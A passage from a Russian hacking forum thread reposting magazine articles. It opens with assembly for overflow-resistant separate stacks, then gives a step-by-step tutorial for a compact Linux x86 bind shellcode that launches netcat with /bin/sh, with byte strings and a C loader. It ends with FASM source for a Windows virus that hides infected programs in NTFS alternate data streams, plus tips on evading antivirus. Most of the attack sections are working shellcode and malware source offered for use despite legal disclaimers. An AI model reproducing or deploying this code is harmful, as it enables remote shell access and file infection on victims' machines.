MOV [EBP+00h], arg_a
MOV [EBP+04h], arg_b
MOV [EBP+08h], arg_c
CALL func
…
; // реализация самой функции
func:
ADD EBP, local_var_size ; резервируем память под локальные переменные
MOV ECX, [EBP-local_var_size+04h] ; загрузка аргумента arg_b в регистр ECX
MOV ESI, [EBP-local_var_size+08h] ; загрузка аргумента arg_c в регистр ESI
MOV EDI, EBP ; грузим в EDI указатель на конец области локальных переменных
SUB EDI, local_var_size ; вычисляем указатель на локальный буфер
; (в данном случае он расположен по смещению 00h
; относительно фрейма)
REP MOVSB ; копируем arg_b байтов из arg_c в локальный буфер
; // делаем еще что-то полезное
RET ; выходим из функции

Рукотворный стек с локальными переменными и аргументами растет сверху вниз, то есть в направлении, противоположном росту обычного стека, и это неспроста. Во‑первых, подсистема памяти IBM PC и операционная система Windows оптимизированы именно под такое выделение памяти и мы получаем выигрыш в производительности. Во‑вторых, внизу рукотворного стека находится неинициализированная область памяти, что делает ошибки переполнения неактуальными. Затираются лишь локальные переменные текущей функции, да и то лишь те, которые лежат ниже переполняющегося буфера.

Адреса возврата хранятся в другом месте и на них эти переполнения не распространяются, если, конечно, натуральный стек расположен выше рукотворного.

Основную трудность представляет засылка аргументов в рукотворный стек. Под MS-DOS мы могли выделить отдельный сегмент и использовать PUSH с префиксом «GS:», а под Windows приходится применять MOV [EBP+XXh], YYYY. При этом адресации типа «память – память» в x86-процессорах не было и нет. В практическом плане это означает, что нам придется использовать промежуточные регистры: MOV EAX, [YYYY]/MOV [EBP+XXh], EAX. Впрочем, это можно оптимизировать, если использовать команду STOSD, занимающую в «машинном представлении» всего один байт и копирующую содержимое EAX в ячейку, на которую указывает EDI, одновременно с увеличением последнего на размер двойного слова. Стаскивать аргументы с рукотворного стека можно командой LODSD.

Окончательно расхулиганившись, можно создать целых 3 стека: один - стандартный, для хранения адресов возврата, другой — для аргументов и третий - для локальных переменных. Чтобы не расходовать регистры понапрасну, можно хранить указатели на вершины двух рукотворных стеков в оперативной памяти, загружая их то в регистр EBP, то в ESI/EDI, в зависимости от того, какой из них окажется удобнее в тот или иной момент. Падения производительности можно не опасаться. Большую часть своего времени указатели будут проводить в кэш‑памяти, извлекаясь всего за 1-2 такта.

Естественно, все сказанное выше, относится только к нашим собственным функциям, а API-функции операционной системы таких извращений не понимают и ожидают аргументов в стандартном стеке. Ну, что тут можно сказать… Персонально для API-функций аргументы можно передать и в стандартном стеке, предварительно убедившись, что при этих аргументах функция гарантированно не вызовет переполнения (что вовсе не факт, особенно при работе с функциями из библиотеки mshtml.dll). К тому же в 64-битной редакции Windows аргументы API-функциями в большинстве случаев передаются не через стек, а через регистры, поэтому описанная методика к ним вполне применима.

А вот как защитить от переполнения функции обычных библиотек? Самое простое решение — вызвать функции не по CALL, а по JMP, разместив адрес возврата на вершине страницы памяти, доступной только на чтение. Ниже ее будут только аргументы, также доступные только на чтение, а вот локальные переменные, создаваемые функцией, будут доступны и на чтение, и на запись. Естественно, этот трюк будет работать только с теми функциями, которые не изменяют своих аргументов (а многие из них изменяют их только так), но по‑другому просто не получается!
 

Lucania

PREMIUM
Регистрация
02.02.23
Сообщения
27.395
Реакции
0
Баллы
12

Содержание статьи​

  • Немного теории
  • Системные вызовы
  • Регистры
  • Стек
  • Проблема нулевого байта
  • Необходимые нам инструменты
  • Почему размер так важен для shell-кода?
  • Код
  • Описываем системные вызовы через ассемблер
  • Ныряем в код
  • Важно!
  • Извлекаем shell-код
  • Тестируем
  • Оптимизируем размер
  • Можно ли сделать наш код существенно компактнее?
Ты наверняка знаешь, что практически каждый эксплоит содержит в своем составе так называемый shell-код, выполняющийся при работе эксплоита. С первого взгляда может показаться, что писать shell-код — удел избранных, ведь для этого необходимо сначала постичь дзен байт-кода. Однако все не так страшно. В этой статье я расскажу, как написать простой bind shellcode, после чего мы его доработаем и сделаем одним из самых компактных в своем классе.

Shell-код представляет собой набор машинных команд, позволяющий получить доступ к командному интерпретатору (cmd.exe в Windows и shell в Linux, от чего, собственно, и происходит его название). В более широком смысле shell-код — это любой код, который используется как payload (полезная нагрузка для эксплоита) и представляет собой последовательность машинных команд, которую выполняет уязвимое приложение (этим кодом может быть также простая системная команда, вроде chmod 777 /etc/shadow):

Код:
x31xc0x50xb0x0fx68x61x64x6fx77x68x63x2fx73
x68x68x2fx2fx65x74x89xe3x31xc9x66xb9xffx01
xcdx80x40xcdx80

Немного теории​

Уверен, что многие наши читатели и так знают те истины, которые я хочу описать в теоретическом разделе, но не будем забывать про недавно присоединившихся к нам хакеров и постараемся облегчить их вхождение в наше непростое дело.



Системные вызовы​

Системные вызовы обеспечивают связь между пространством пользователя (user mode) и пространством ядра (kernel mode) и используются для множества задач, таких, например, как запуск файлов, операции ввода-вывода, чтения и записи файлов.

Для описания системного вызова через ассемблер используется соответствующий номер, который вместе с аргументами необходимо вносить в соответствующие регистры.


Регистры​

Регистры — специальные ячейки памяти в процессоре, доступ к которым осуществляется по именам (в отличие от основной памяти). Используются для хранения данных и адресов. Нас будут интересовать регистры общего назначения: EAX, EBX, ECX, EDX, ESI, EDI, EBP и ESP.


Стек​

Стеком называется область памяти программы для временного хранения произвольных данных. Важно помнить, что данные из стека извлекаются в обратном порядке (что сохранено последним — извлекается первым). Переполнение стека — достаточно распространенная уязвимость, при которой у атакующего появляется возможность перезаписать адрес возврата функции на адрес, содержащий shell-код.


Проблема нулевого байта​

Многие функции для работы со строками используют нулевой байт для завершения строки.

Таким образом, если нулевой байт встретится в shell-коде, то все последующие за ним байты проигнорируются и код не сработает, что нужно учитывать.


Необходимые нам инструменты​

  • Linux Debian x86/x86_64 (хотя мы и будем писать код под x86, сборка на машине x86_64 проблем вызвать не должна);
  • NASM — свободный (LGPL и лицензия BSD) ассемблер для архитектуры Intel x86;
  • LD — компоновщик;
  • objdump — утилита для работы с файлами, которая понадобится нам для извлечения байт-кода из бинарного файла;
  • GCC — компилятор;
  • strace — утилита для трассировки системных вызовов.
Если бы мы создавали bind shell классическим способом, то для этого нам пришлось бы несколько раз дергать сетевой системный вызов socketcall():

  • net.h/SYS_SOCKET — чтобы создать структуру сокета;
  • net.h/SYS_BIND — привязать дескриптор сокета к IP и порту;
  • net.h/SYS_LISTEN — начать слушать сеть;
  • net.h/SYS_ACCEPT — начать принимать соединения.
И в конечном итоге наш shell-код получился бы достаточно большим. В зависимости от реализации в среднем выходит 70 байт, что относительно немного... Но не будем забывать нашу цель — написать максимально компактный shell-код, что мы и сделаем, прибегнув к помощи netcat!


Почему размер так важен для shell-кода?​

Ты, наверное, слышал, что при эксплуатации уязвимостей на переполнение буфера используется принцип перехвата управления, когда атакующий перезаписывает адрес возврата функции на адрес, где лежит shell-код. Размер shell-кода при этом ограничен и не может превышать определенного значения.


Код​

Shell-код мы будем писать на чистом ассемблере, тестировать — в программе на С. Наша заготовка bind_shell_1.nasm, разбитая для удобства на блоки, выглядит следующим образом:

Код:
; Блок 1
section .text
global _start
_start:
; Блок 2
xor edx, edx
push edx
push 0x35343332 ; -vp12345
push 0x3170762d
mov esi, esp
; Блок 3
push edx
push 0x68732f2f ; -le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp
; Блок 4
push edx
push 0x636e2f2f ; /bin//nc
push 0x6e69622f
mov ebx, esp
; Блок 5
push edx
push esi
push edi
push ebx
mov ecx, esp
xor eax, eax
mov al,11
int 0x80

Сохраним ее как super_small_bind_shell_1.nasm и далее скомпилируем:

Код:
$ nasm -f elf32 super_small_bind_shell_1.nasm
а затем слинкуем наш код:

Код:
$ ld -m elf_i386 super_small_bind_shell_1.o -o super_small_bind_shell_1
и запустим получившуюся программу через трассировщик (strace), чтобы посмотреть, что она делает:

Код:
$ strace ./super_small_bind_shell_1

Запуск bind shell через трассировщик

Как видишь, никакой магии. Через системный вызов execve() запускается netcat, который начинает слушать на порте 12345, открывая удаленный шелл на машине. В нашем случае мы использовали системный вызов execve() для запуска бинарного файла /bin/nc с нужными параметрами (-le/bin/sh -vp12345).

execve() имеет следующий прототип:

Код:
int execve(const char *filename, char *const argv[], char *const envp[]);
  • filename обычно указывает путь к исполняемому бинарному файлу — /bin/nc;
  • argv[] служит указателем на массив с аргументами, включая имя исполняемого файла, — ["/bin//nc", "-le//bin//sh", "-vp12345"];
  • envp[] указывает на массив, описывающий окружение. В нашем случае это NULL, так как мы не используем его.
Синтаксис нашего системного вызова (функции) выглядит следующим образом:

Код:
execve("/bin//nc", ["/bin//nc", "-le//bin//sh", "-vp12345"], NULL)

Описываем системные вызовы через ассемблер​

Как было сказано в начале статьи, для указания системного вызова используется соответствующий номер (номера системных вызовов для x86 можно посмотреть здесь: /usr/include/x86_64-linux-gnu/asm/unistd_32.h), который необходимо поместить в регистр EAX (в нашем случае в регистр EAX, а точнее в его младшую часть AL было занесено значение 11, что соответствует системному вызову execve()).

Аргументы функции должны быть помещены в регистры EBX, ECX, EDX:

  • EBX — должен содержать адрес строки с filename — /bin//nc;
  • ECX — должен содержать адрес строки с argv[] — "/bin//nc" "-le//bin//sh" "-vp12345";
  • EDX — должен содержать null-байт для envp[].
Регистры ESI и EDI мы использовали как временное хранилище для сохранения аргументов execve() в нужной последовательности в стек, чтобы в блоке 5 (см. код выше) перенести в регистр ECX указатель (указатель указателя, если быть более точным) на массив argv[].


Ныряем в код​

Разберем код по блокам.

Блок 1 говорит сам за себя и предназначен для определения секции, содержащей исполняемый код и указание линкеру точки входа в программу.

Код:
section .text
global _start
_start:
Блок 2

Код:
xor edx, edx
Обнуляем регистр EDX, значение которого (NULL) будет использоваться для envp[], а также как символ конца строки для вносимых в стек строк. Обнуляем регистр через XOR, так как инструкция mov edx, 0 привела бы к появлению null-байтов в shell-коде, что недопустимо.

Код:
push edx ; Отправляем в стек символ конца строки
push 0x35343332 ; Отправляем в стек строку -vp12345
push 0x3170762d
mov esi, esp ; Отправляем в ESI адрес -vp12345 строки в стеке

Важно!​

Аргументы для execve() мы отправляем в стек, предварительно перевернув их справа налево, так как стек растет от старших адресов к младшим, а данные из него извлекаются наоборот — от младших адресов к старшим.
Для того чтобы перевернуть строку и перевести ее в hex, можно воспользоваться следующей Linux-командой:

Bash:
$ echo -n '-vp12345' | rev | od -A n -t x1 |sed 's/ /x/g
x35x34x33x32x31x70x76x2d`

Блок 3

Код:
push edx ; Отправляем в стек символ конца строки
push 0x68732f2f ; Отправляем в стек строку -le//bin//sh
push 0x6e69622f
push 0x2f656c2d
mov edi, esp ; Отправляем в EDI адрес строки -le//bin//sh в стеке
Ты, наверное, заметил странноватый путь к бинарнику с двойными слешами. Это делается специально, чтобы число вносимых байтов было кратным четырем, что позволит не использовать нулевой байт (Linux игнорирует слеши, так что /bin/nc и /bin//nc — это одно и то же).

Блок 4

Код:
push edx ; Отправляем в стек символ конца строки
push 0x636e2f2f ; Отправляем в стек строку /bin//nc (filename)
push 0x6e69622f
mov ebx, esp ; Отправляем в EBX адрес строки /bin//nc в стеке

Блок 5

Код:
push edx ; Отправляем в стек символ конца строки
push esi ; Отправляем в стек адрес со строкой -vp12345
push edi ; Отправляем в стек адрес со строкой -le//bin//sh
push ebx ; Отправляем в стек адрес со строкой /bin//nc
mov ecx, esp ; Отправляем в ECX адрес в стеке, ссылающийся на адрес argv[] (указатель на указатель)
xor eax, eax ; Обнуляем EAX
mov al,11 ; Отправляем код 11 для системного вызова execve() в младший байт

Почему в AL, а не в EAX? Регистр EAX имеет разрядность 32 бита. К его младшим 16 битам можно обратиться через регистр AX. AX, в свою очередь, можно разделить на две части: младший байт (AL) и старший байт (AH). Отправляя значение в AL, мы избегаем появления нулевых байтов, которые бы автоматически появились при добавлении 11 в EAX.


Извлекаем shell-код​

Чтобы наконец получить заветный shell-код из файла, воспользуемся следующей командой Linux:

Bash:
$ objdump -d ./super_small_bind_shell_1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
и получаем на выходе вот такой вот симпатичный shell-код:

Код:
x31xd2x52x68x32x33x34x35x68x2dx76x70x31x89xe6x52x68x2fx2fx73x68
x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52x68x2fx2fx6ex63x68x2fx62
x69x6ex89xe3x52x56x57x53x89xe1x31xc0xb0x0bxcdx80

Тестируем​

Для теста будем использовать следующую программу на С:

C:
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] =
"x31xd2x52x68x32x33x34x35x68x2dx76x70x31x89xe6x52x68x2fx2fx73x68"
"x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52x68x2fx2fx6ex63x68x2fx62"
"x69x6ex89xe3x52x56x57x53x89xe1x31xc0xb0x0bxcdx80";
main()
{ printf("Shellcode Length: %dn",strlen(shellcode)); int (ret)() = (int()())shellcode; ret();
}
Компилируем. NB! Если у тебя x86_64 система, то может понадобиться установка g++-multilib:

Bash:
# apt-get install g++-multilib
$ gcc -m32 -fno-stack-protector -z execstack checker.c -o checker

Запускаем:

Bash:
$ ./checker


Хех, видим, что наш shell-код работает: его размер — 58 байт, netcat открывает шелл на порте 12345.


Оптимизируем размер​

58 байт — это довольно неплохо, но если посмотреть в shellcode-раздел exploit-db.com, то можно найти и поменьше, например вот этот размером в 56 байт.


Можно ли сделать наш код существенно компактнее?​

Можно. Убрав блок, описывающий номер порта. При таком раскладе netcat все равно будет исправно слушать сеть и даст нам шелл. Правда, номер порта нам теперь придется найти с помощью nmap. Наш новый код будет выглядеть следующим образом:

Код:
section .text
global _start _start: xor edx, edx push edx push 0x68732f2f ; -le//bin//sh push 0x6e69622f push 0x2f656c2d mov edi, esp push edx push 0x636e2f2f ; /bin//nc push 0x6e69622f mov ebx, esp push edx push edi push ebx mov ecx, esp xor eax, eax mov al,11 int 0x80

Компилируем:

Код:
$ nasm -f elf32 super_small_bind_shell_2.nasm

Линкуем:

Код:
$ ld -m elf_i386 super_small_bind_shell_2.o -o super_small_bind_shell_2

Извлекаем shell-код:

Код:
$ objdump -d ./super_small_bind_shell_2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr 't' ' '|sed 's/ $//g'|sed 's/ /x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52
x68x2fx2fx6ex63x68x2fx62x69x6ex89xe3x52x57x53x89xe1x31xc0xb0x0b
xcdx80

Проверяем:

C:
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] =
"x31xd2x52x68x2fx2fx73x68x68x2fx62x69x6ex68x2dx6cx65x2fx89xe7x52"
"x68x2fx2fx6ex63x68x2fx62x69x6ex89xe3x52x57x53x89xe1x31xc0xb0x0b"
"xcdx80";
main()
{ printf("Shellcode Length: %dn",strlen(shellcode)); int (ret)() = (int()())shellcode; ret();
}


Код:
$ gcc -m32 -fno-stack-protector -z execstack checker2.c -o checker2
$ ./checker2
Shellcode Length: 44

А теперь попробуем подключиться и получить удаленный шелл-доступ. С помощью Nmap узнаем, на каком порте висит наш шелл, после чего успешно подключаемся к нему все тем же netcat:


Bingo! Цель достигнута: мы написали один из самых компактных Linux x86 bind shellcode. Как видишь, ничего сложного

Shellcoding in Linux
 

Lucania

PREMIUM
Регистрация
02.02.23
Сообщения
27.395
Реакции
0
Баллы
12

Содержание статьи​

Конструирование вирусов — отличный стимул изучать ассемблер. И хотя вирус, в принципе, можно написать и на С, это будет как-то не по-хакерски и вообще неправильно. Следующий далее текст — заметка Криса Касперски, которая раньше не публиковалась в «Хакере». Из нее ты узнаешь, как создаются вирусы и как написать простой вирус для Windows при помощи FASM.

Пара вступительных слов​

Итак, давай погрузимся в мрачный лабиринт кибернетического мира, ряды обитателей которого скоро пополнятся еще одним зловредным созданием. Внедрение вируса в исполняемый файл в общем случае достаточно сложный и мучительный процесс. Как минимум для этого требуется изучить формат PE-файла и освоить десятки API-функций. Но ведь такими темпами мы не напишем вирус и за сезон, а хочется прямо здесь и сейчас. Но хакеры мы или нет? Файловая система NTFS (основная файловая система Windows) содержит потоки данных (streams), называемые также атрибутами. Внутри одного файла может существовать несколько независимых потоков данных.

WARNING​

Вся информация в этой статье предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный материалами данной статьи. Помни, что неправомерный доступ к компьютерной информации и распространение вредоносного ПО влекут ответственность согласно статьям 272 и 273 УК РФ.
Файловая система NTFS поддерживает несколько потоков в рамках одного файла

Имя потока отделяется от имени файла знаком двоеточия :)), например my_file:stream. Основное тело файла хранится в безымянном потоке, но мы также можем создавать и свои потоки. Заходим в FAR Manager, нажимаем клавиатурную комбинацию Shift + F4, вводим с клавиатуры имя файла и потока данных, например xxx:yyy, и затем вводим какой-нибудь текст. Выходим из редактора и видим файл нулевой длины с именем xxx.

Почему же файл имеет нулевую длину? А где же только что введенный нами текст? Нажмем клавишу <F4> и… действительно не увидим никакого текста. Однако ничего удивительного в этом нет. Если не указать имя потока, то файловая система отобразит основной поток, а он в данном случае пуст. Размер остальных потоков не отображается, и дотянуться до их содержимого можно, только указав имя потока явно. Таким образом, чтобы увидеть текст, необходимо ввести следующую команду: more < xxx:yyy.

Будем мыслить так: раз создание дополнительных потоков не изменяет видимых размеров файла, то пребывание в нем постороннего кода, скорее всего, останется незамеченным. Тем не менее, чтобы передать управление на свой поток, необходимо модифицировать основной поток. Контрольная сумма при этом неизбежно изменится, что наверняка не понравится антивирусным программам. Методы обмана антивирусных программ мы рассмотрим в дальнейшем, а пока определимся со стратегией внедрения.


Алгоритм работы вируса​

Закрой руководство по формату исполняемых файлов (Portable Executable, PE). Для решения поставленной задачи оно нам не понадобится. Действовать будем так: создаем внутри инфицируемого файла дополнительный поток, копируем туда основное тело файла, а на освободившееся место записываем наш код, который делает свое черное дело и передает управление основному телу вируса.

Работать такой вирус будет только на Windows и только под NTFS. На работу с другими файловыми системами он изначально не рассчитан. Например, на разделах FAT оригинальное содержимое заражаемого файла будет попросту утеряно. То же самое произойдет, если упаковать файл с помощью ZIP или любого другого архиватора, не поддерживающего файловых потоков.

В качестве примера архиватора, поддерживающего файловые потоки, можно привести WinRAR. Вкладка «Дополнительно» в диалоговом окне «Имя и параметры архива» содержит группу опций NTFS. В составе этой группы опций есть флажок «Сохранять файловые потоки». Установи эту опцию, если при упаковке файлов, содержащих несколько потоков, требуется сохранить их все.


Архиватор RAR способен сохранять файловые потоки в процессе архивации​


Теперь настал момент поговорить об антивирусных программах. Внедрить вирусное тело в файл — это всего лишь половина задачи, и притом самая простая. Теперь создатель вируса должен продумать, как защитить свое творение от всевозможных антивирусов. Эта задача не так сложна, как кажется на первый взгляд. Достаточно заблокировать файл сразу же после запуска и удерживать его в этом состоянии в течение всего сеанса работы с Windows вплоть до перезагрузки. Антивирусы просто не смогут открыть файл, а значит, не смогут обнаружить и факт его изменения. Существует множество путей блокировки — от CreateFile со сброшенным флагом dwSharedMode до LockFile/LockFileEx.

Основная ошибка большинства вирусов состоит в том, что, однажды внедрившись в файл, они сидят и покорно ждут, пока антивирус не обнаружит их и не удалит. А ведь сканирование современных винчестеров занимает значительное время, зачастую оно растягивается на многие часы. В каждый момент времени антивирус проверяет всего один файл, поэтому, если вирус ведет кочевую жизнь, мигрируя от одного файла к другому, вероятность, что его обнаружат, стремительно уменьшается.

Мы будем действовать так: внедряемся в файл, ждем 30 секунд, удаляем свое тело из файла, тут же внедряясь в другой. Чем короче период ожидания, тем выше шансы вируса остаться незамеченным, но и тем выше дисковая активность. А регулярные мигания красной лампочки без видимых причин сразу же насторожат опытных пользователей, поэтому приходится хитрить.

Например, можно вести мониторинг дисковой активности и заражать только тогда, когда происходит обращение к какому-нибудь файлу. В решении этой задачи нам поможет специализированное ПО, например монитор процессов Procmon.


Программный код вируса​

Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком эти языки неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера. Вот исходный код нашего вируса.

Код:
include 'c:\fasm\INCLUDE\WIN32AX.INC'
.data foo db "foo",0 ; Имя временного файла code_name db ":bar",0 ; Имя потока, в котором будет... code_name_end: ; ...сохранено основное тело ; Различные текстовые строки, которые выводит вирус aInfected db "infected",0 aHello db "Hello, you are hacked" ; Различные буфера для служебных целей buf rb 1000 xxx rb 1000
.code
start: ; Удаляем временный файл push foo call [DeleteFile] ; Определяем наше имя push 1000 push buf push 0 call [GetModuleFileName] ; Считываем командную строку ; Ключ filename — заразить call [GetCommandLine] mov ebp, eax xor ebx, ebx mov ecx, 202A2D2Dh ;
rool: cmp [eax], ecx ; это '--*'? jz infect inc eax cmp [eax], ebx ; Конец командной строки? jnz rool ; Выводим диагностическое сообщение, ; подтверждая свое присутствие в файле push 0 push aInfected push aHello push 0 call [MessageBox] ; Добавляем к своему имени имя потока NTFS mov esi, code_name mov edi, buf mov ecx, 100; сode_name_end - code_name xor eax,eax repne scasb dec edi rep movsb ; Запускаем поток NTFS на выполнение push xxx push xxx push eax push eax push eax push eax push eax push eax push ebp push buf call [CreateProcess] jmp go2exit ; Выходим из вируса
infect: ; Устанавливаем eax на первый символ имени файла-жертвы ; (далее по тексту dst) add eax, 4 xchg eax, ebp xor eax,eax inc eax ; Здесь можно вставить проверку dst на заражение ; Переименовываем dst в foo push foo push ebp call [MoveFile] ; Копируем в foo основной поток dst push eax push ebp push buf call [CopyFile] ; Добавляем к своему имени имя потока NTFS mov esi, ebp mov edi, buf
copy_rool: lodsb stosb test al,al jnz copy_rool mov esi, code_name dec edi
copy_rool2: lodsb stosb test al,al jnz copy_rool2 ; Копируем foo в dst:bar push eax push buf push foo call [CopyFile] ; Здесь не помешает добавить коррекцию длины заражаемого файла ; Удаляем foo push foo call [DeleteFile] ; Выводим диагностическое сообщение, ; подтверждающее успешность заражения файла push 0 push aInfected push ebp push 0 call [MessageBox] ; Выход из вируса
go2exit: push 0 call [ExitProcess]
.end start

Компиляция и тестирование вируса​

Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте flatassembler.net. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.

Скачай последнюю версию FASM для Windows, распакуй архив и запусти приложение fasmw.exe. Скопируй исходный код вируса в окошко программы и выполни команды Run → Compile, а затем укажи, в какую папку сохранить скомпилированный исполняемый файл.

Запустим его на выполнение с опцией командной строки --, вписав после нее имя файла, который требуется заразить, например notepad.exe (xcode.exe -- notepad.exe). Появление диалогового окна, показанного на рисунке, говорит, что вирус внедрен в исполняемый файл блокнота.


Диалоговое окно, свидетельствующее об успешном заражении​

Если попытка заражения потерпела неудачу, первым делом необходимо убедиться, что права доступа к файлу есть. Захватывать их самостоятельно наш вирус не умеет. Во всяком случае — пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.

Теперь запусти зараженный файл notepad.exe на исполнение. В доказательство своего существования вирус тут же выбрасывает диалоговое окно, показанное на рисунке, а после нажатия на кнопку ОK передает управление оригинальному коду программы.
Диалоговое окно, отображаемое зараженным файлом при запуске на исполнение

INFO​

Чтобы фокус сработал в Windows 10, вирус должен быть запущен от имени администратора.
Чтобы не возбуждать у пользователя подозрений, настоящий вирусописатель удалит это диалоговое окно из финальной версии вируса, заменив его какой-нибудь вредоносной начинкой. Тут все зависит от вирусописательских намерений и фантазии. Например, можно перевернуть экран, сыграть над пользователем еще какую-нибудь безобидную шутку или же заняться более зловредной деятельностью вроде похищения паролей или другой конфиденциальной информации.

Зараженный файл обладает всеми необходимыми репродуктивными способностями и может заражать другие исполняемые файлы. Например, чтобы заразить игру Solitaire, следует дать команду notepad.exe --* sol.exe. Кстати говоря, ни один пользователь в здравом уме не будет самостоятельно заражать файлы через командную строку. Поэтому вирусописатель должен будет разработать процедуру поиска очередного кандидата на заражение.

WARNING​

До сих пор рассматриваемый вирус действительно был абсолютно безобиден. Он не размножается и не выполняет никаких злонамеренных или деструктивных действий. Ведь он создан лишь для демонстрации потенциальной опасности, подстерегающей пользователей NTFS. Исследовательская деятельность преступлением не является. Но вот если кто-то из вас решит доработать вирус так, чтобы он самостоятельно размножался и совершал вредоносные действия, то следует напомнить, что это уже станет уголовно наказуемым деянием.

Так что вместо разработки вредоносной начинки будем совершенствовать вирус в другом направлении. При повторном заражении файла текущая версия необратимо затирает оригинальный код своим телом, в результате чего файл станет неработоспособным. Вот беда! Как же ее побороть? Можно добавить проверку на зараженность перед копированием вируса в файл. Для этого следует вызвать функцию CreateFile, передать ей имя файла вместе с потоком (например, notepad.exe:bar) и проверить результат. Если файл открыть не удалось, значит, потока bar этот файл не содержит и, следовательно, он еще не заражен. Если же файл удалось успешно открыть, стоит отказаться от заражения или выбрать другой поток. Например: bar_01, bar_02, bar_03.

Еще одна проблема заключается в том, что вирус не корректирует длину целевого файла и после внедрения она станет равной 4 Кбайт (именно таков размер текущей версии исполняемого файла вируса). Это плохо, так как пользователь тут же заподозрит подвох (файл explorer.exe, занимающий 4 Кбайт, выглядит довольно забавно), занервничает и начнет запускать антивирусы. Чтобы устранить этот недостаток, можно запомнить длину инфицируемого файла перед внедрением, затем скопировать в основной поток тело вируса, открыть файл на запись и вызвать функцию SetFilePointer для установки указателя на оригинальный размер, увеличивая размер инфицированного файла до исходного значения.


Заключение​

Предложенная стратегия внедрения, конечно, неидеальна, но все же это намного лучше, чем прописываться в реестре, который контролируется множеством утилит мониторинга. Наконец, чтобы не пострадать от своего же собственного вируса, каждый вирусописатель всегда должен иметь под рукой противоядие. Командный файл, приведенный в следующем листинге, извлекает оригинальное содержимое файла из потока bar и записывает его в файл reborn.exe.

Код:
more < %1:bar > reborn.exe
ECHO I’m reborn now!

Используй полученные знания с осторожностью, изучай ассемблер, не забывай мыть руки перед едой и всегда помни о том, что создание вирусов в каких-либо иных целях, кроме исследовательских, не только очень веселое, но еще и противозаконное занятие. А закон, как любил говорить один литературный персонаж, надо чтить!
 

Статистика форума

Темы
200.447
Сообщения
380.281
Пользователи
327.897
Новый пользователь
buyerproxy
Сверху Снизу